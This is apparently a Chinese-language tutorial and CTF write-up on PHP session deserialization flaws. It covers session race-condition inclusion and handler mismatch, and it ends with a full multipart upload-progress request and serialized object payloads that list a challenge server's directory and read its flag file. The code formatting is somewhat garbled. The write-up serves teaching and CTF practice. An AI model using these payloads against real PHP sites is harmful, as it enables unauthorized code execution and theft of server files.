session反序列化漏洞
session的定义
session对象在网络应用中叫做会话控制,它会存储特定用户会话所需的属性以及配置信息,而当用户在应用程序的web页面跳转时,session对象中的变量会在整个用户会话中一直存在下去,如果此时该用户没有会话的话,服务器就会自动创建一个session对象,当会话过期或被放弃时,服务器将会终止该会话
session作用原理
当第一次访问网站的时候,Session_start()函数会创建一个唯一的Session ID,并会通过http响应头,将这个Session ID保存在客户端Cookie中,同时也会在服务器端创建一个以Session ID命名的文件,保存这个用户对话信息,当用户再次访问这个网站时,也会自动通过http请求头将cookie中保存的Session ID携带过来,此时Session_start()函数不会再分配新的Session ID,而是会在服务器的硬盘中寻找和Session ID同名的Session文件,将之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪用户的目的
session_start()
当会话自动开始或者通过session_start()手动开始时,PHPSESSID会获取现有的对应的会话数据(即session文件),PHP会自动反序列化session文件的内容,并将其填充在$_SESSION超级全局变量中,如果不存在对应的会话数据,则会创建名为sess_PHPSESSID(客户端传来的)的文件,如果客户端未发送PHPSESSID,则会创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
因此,上面有一个漏洞,就是可以利用上传一个PHPSESSID,但是在服务器端不存在对应的会话数据,所以会在特定的路径生成sess_PHPSESSID文件,然后我们可以加入恶意代码,然后包含这个服务端的文件,即可达到执行恶意代码的目的,而由于它会判断文件是否为恶意文件,是则删除,所以我们要在判断的间隙进行包含,这就叫做session条件竞争
在Linux系统中php-session存放的位置
1 | /var/lib/php5/sess_PHPSESSID |
在php.ini中的一些Session配置
1 | session.save_path="" --设置session的存储路径 |
session机制对序列化的处理方式
不同处理器对应的存储格式
1 | php对应的存储格式:键名+竖线+经过serialize()函数反序列化处理的值 |
实例
1 | php : lemon|s:3:"shy"; |
session反序列化漏洞的原理
当使用两个引擎来分别处理序列化和反序列化时,由于php引擎的存储格式为:键名 | serialized_string,而php_serialize引擎的存储格式为:serialized_string,此时就会出问题
php_serialize的格式存储的文件(序列化)
1.php
1 | <?php |
php引擎读取session文件(反序列化)
2.php
1 | <?php |
首先访问1.php,在传入的参数最开始加一个’|‘,由于1.php使用的是php_serialize引擎处理,所以只会将’|‘当作是一个正常的字符,然后访问2.php时,用的是php引擎,因此遇到’|‘时会将它看作是键名与值得分割符,从而造成漏洞,因为在解析session时会直接对’|‘后得值进行反序列化处理
在解析session时会直接对’|‘后得值进行反序列化处理的原因是
1 | session_start()会通过read回调函数返回的现有会话数据(使用特殊的序列化格式存储),php会自动反序列化数据并且填充$_SESSION超级全局变量,而如果没有$_SESSION超级全局变量时,我们可以利用php中存在的upload_progress机制,即自动在$_SESSION中创建一个键值对,值中存在用户可控的部分 |
上传文件,同时post一个与session.upload.name的同名变量,后端就会自动将POST的这个同名变量作为键进行序列化然后存储在session文件中,下次请求就会反序列化session文件,从而取出这个键
1 | ## 题目实例 |
1 |
|
ini_set(‘session.serialize_handler’, ‘php’);
1 | 我们可以猜测是session反序列化漏洞,我们可以构造 |
?phpinfo=sd
1 | 可以看见php版本信息,发现session.serialize_handler默认是php_serialize,但是题目使用的是php,所以我们更加确信可以使用session反序列化漏洞,但是在php版本中发现没有$_SESSION超级全局变量,所以我们利用php中的upload_progress机制,随便上传一个文件上去 |
1 | 然后我们用exp |
1 | 来读取列目录 |
|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}
1 |
|
POST /index.php HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=—————————141584464441786179722796804373
Content-Length: 492
Connection: close
Cookie: PHPSESSID=muj965sc623533fu7g566as841
Upgrade-Insecure-Requests: 1
—————————–141584464441786179722796804373
Content-Disposition: form-data; name=”PHP_SESSION_UPLOAD_PROGRESS”
2333
—————————–141584464441786179722796804373
Content-Disposition: form-data; name=”file”; filename=”|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}
“
Content-Type: text/plain
You Find it in GET fileName=xk0SzyKwfzw.php and param=Efa5BVG
—————————–141584464441786179722796804373–
1 | 即可看见列目录文件 |
Array
(
[0] => .
[1] => ..
[2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php
[3] => index.php
[4] => phpinfo.php
)
1 | 然后我们可以使用file_get_contents()函数来读取我们想读的文件 |
|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
可以得到flag
参考文章:[https://blog.csdn.net/qq_43431158/article/details/99544797]
[https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247487259&idx=1&sn=e70d97877c0f1a282cf56c6ad4e34d26&chksm=9bdf4c21aca8c5372350a6fa309720a07542d74f61f537229f93927eec6ff5828d9794408571&exptype=unsubscribed_card_3_article_onlinev2_1000w_promotion_level2&expsessionid=2055871802941276160&scene=169&subscene=10000&sessionid=1632156171&clicktime=1632156172&enterid=1632156172&ascene=56&devicetype=android-30&version=28000b59&nettype=cmnet&abtest_cookie=AAACAA%3D%3D&lang=zh_CN&exportkey=A8U60hrCswzBIw4qx3LcHl4%3D&pass_ticket=wgImpgfwefCQmznd1rg85X51CdNokjWKgG%2B1%2FN7vSYdFBa8eTAvqvC25RW7jJ3SP&wx_header=1]